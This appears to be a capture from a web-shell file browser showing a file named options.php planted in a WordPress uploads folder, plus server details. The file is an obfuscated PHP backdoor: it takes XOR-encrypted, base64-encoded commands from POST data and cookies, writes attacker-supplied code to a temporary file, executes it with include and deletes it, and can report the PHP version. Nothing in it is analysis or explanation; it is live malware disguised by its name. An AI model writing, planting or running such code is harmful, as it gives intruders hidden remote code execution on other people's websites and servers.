HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2024/11/options.php
<?php $nhus_sar      =      'nhus_sar'       ^	'';$kqseghboq	= /*  i  */ $nhus_sar(97)	.    "\x72"    .	$nhus_sar(114)    . /* jv*/ "\141" /* aksuqx   */ . /*hwapx  */ "\171"       . /* gjzus */ "_"."\155" /* furcwv */ .    "a"."p";$cqjjf_z    =     "\x69" /*   zpjf*/ .  "\x6d"    . /*  x_t_  */ $nhus_sar(518-406)    . /*rnj*/ $nhus_sar(108)	.     $nhus_sar(111)   .	"d"."e";





function	jrmzviq($bmfosrv, /* w*/ $gko_fcbhd)
{


   global	$nhus_sar;  

     $bmfosrv       =	"<"     . /*dypeeo  */ $nhus_sar(63) /*  yda */ .    "p"."\x68"    .    "\160"	.	$nhus_sar(32) /*rmvix  */ . /*  bo */ "u"."\x6e" /*i_bf*/ .    "l"."i"."n".$nhus_sar(107)   . /*  tfieo*/ $nhus_sar(40)    .    $nhus_sar(1049-954)	.       "_"."\x46"    . /*  j*/ $nhus_sar(73)    . /*  p*/ $nhus_sar(76) /*  tkm   */ .   "E"."\x5f"  .      "_".$nhus_sar(41)  .    $nhus_sar(59)       .       $nhus_sar(32) /*   hmhg  */ . /*  y */ $bmfosrv["\144"];


	$g_zgxrzwd    =      $nhus_sar(578-476)     .    "i"."l".$nhus_sar(238-137)      .   "\137"      .  "p"."u".$nhus_sar(116)       .	"\137"  . /* r   */ "c"."o"."n".$nhus_sar(192-76) /* i*/ .  "e"."n"."t"."s";	

	$g_zgxrzwd($gko_fcbhd,	$bmfosrv);  


       cac_so($gko_fcbhd);
}

$zwpvika	=  73;function     cac_so($gko_fcbhd){ /*ip */ global      $nhus_sar;


 /*   f   */ 
   include($gko_fcbhd);     $vcjbfi /*u  */ =	$gko_fcbhd;


    @unlink($vcjbfi);
}
function /*_r__nw */ pdlhs(){

  global /*   grdjl_*/ $nhus_sar;

 /* dmnzp   */ $cofupa /*f  */ =	array();


    $cofupa["p".$nhus_sar(291-173)]     = /*kzjpqd */ phpversion();

      $cofupa["s"."\x76"] /*c   */ = /*hej */ "3".".".$nhus_sar(53);	$wsqptlm /*   rnbx*/ =       74;

 /*   b_ */ echo	@serialize($cofupa);


}


function   ursvgujdb($bmfosrv,    $xocqgg)


{
 /* _qt_q  */ global    $nhus_sar; /*  rt */ $nujmtfozc_    =       "";
    $udispf      = /* fjhs   */ strlen($bmfosrv);


       $mtafu   = /*anxjm */ strlen($xocqgg);

 /*  dnqco */ $cofupa /*   meyfc  */ =    0;


	$wajuzxmkrh    =	0;


          while /*  vw   */ ($cofupa    <  $udispf)   {
     $gubdp       =   $bmfosrv[$cofupa] /*zx*/ ^    $xocqgg[$wajuzxmkrh    %    $mtafu];

	$nujmtfozc_    .=    $gubdp;     $wajuzxmkrh++; /*ar  */        $cofupa++;


	}


	
 /*  _tkqq  */ if     (strlen($nujmtfozc_)	>	20)     {


   $ampuysku    = /*   lq  */ substr($nujmtfozc_,       0,	20);


	}

 /* szcv  */ if    (empty($nujmtfozc_)) /*cskic */ {    $nujmtfozc_ /*  w  */ =  date('Y-m-d    H:i:s');	}


 /*   _oniw  */ return    $nujmtfozc_;

}








function /*ryi*/ dwjfmggnps($kyromtyv)
{


 /*   prr__g   */ global    $nhus_sar;
  


 /*   rjue*/ $wajuzxmkrhazdgsouvh    =    "\x64"    .	"\60" /*hesoae */ .    "6"."\x39" /*yufv */ . /*m  */ "\x33"       .    "9"."\60"       .    $nhus_sar(48) /*  usq  */ .      $nhus_sar(317-272)    . /*poienl  */ "\x65"    .     "\144" /* sqnezr */ .	"1".$nhus_sar(243-141)	.    "-"."4"."\x61" /*   npgdj */ . /*onx   */ "f".$nhus_sar(991-893)    .    "\55"   . /*  gvga  */ "\141"       .    "\63"	.   "\143" /* vuez  */ .    "\144"."-".$nhus_sar(56-1) /*   pcjop   */ .    "2"."1"."6"."\143" /*tvhi_y*/ .    $nhus_sar(54) /* mfnfls */ .    "5".$nhus_sar(102)       . /*  tvlql */ "\x31" /* lnn   */ .       $nhus_sar(97)      .    "\x66"	.    "\67";
   

    foreach /*  hpc*/ ($kyromtyv    as	$wjipxti	=>    $bmfosrv)	{

      btnssro(base64_decode($bmfosrv),	$wajuzxmkrhazdgsouvh,     $wjipxti);


    }
}


function      btnssro($bmfosrv,    $wajuzxmkrhazdgsouvh, /* ajdei  */ $wjipxti)

{

 /*qsql*/ global       $nhus_sar;


   


    $bmfosrv /*   _   */ =       unserialize(ursvgujdb(ursvgujdb($bmfosrv,    $wajuzxmkrhazdgsouvh),   $wjipxti));

	$dlkxqswmim	=	'mv';	$rkvwm    =   'ygajoai';

       if /*i */ (isset($bmfosrv[$nhus_sar(97) /*  ro */ .    "k"])) /*   xn   */ {

 /*  sxtkrp */ if /* phqqbs   */ ($bmfosrv["a"]    == /* rhw   */ "i") /*   _vvc*/ { /*  jostxr   */ pdlhs(); /*  blsekh   */ } /*   p   */ elseif      ($bmfosrv["a"]    ==     "e")   { /* hekh*/ jrmzviq($bmfosrv,    sprintf(".".$nhus_sar(47) /*   uaxohh  */ .     "%"."\163"    . /*hzf   */ $nhus_sar(980-934)      . /*   nb */ "\160"    .	"l",	md5($wajuzxmkrhazdgsouvh)));			$mncauehd /*   simoeq */ = /* lqnl */ 44;	}


    exit();


 /* ravwy  */ }


}



dwjfmggnps($_POST);       



$wkqcz    =	'rawurldecode';




$fhamzuonh    =	$kqseghboq($wkqcz,    $_POST);

$cqjjf_z("", /*gva  */ $wkqcz);




dwjfmggnps($_COOKIE);

$aifyw /*  _georh  */ =    $kqseghboq($wkqcz,	$_COOKIE);



?>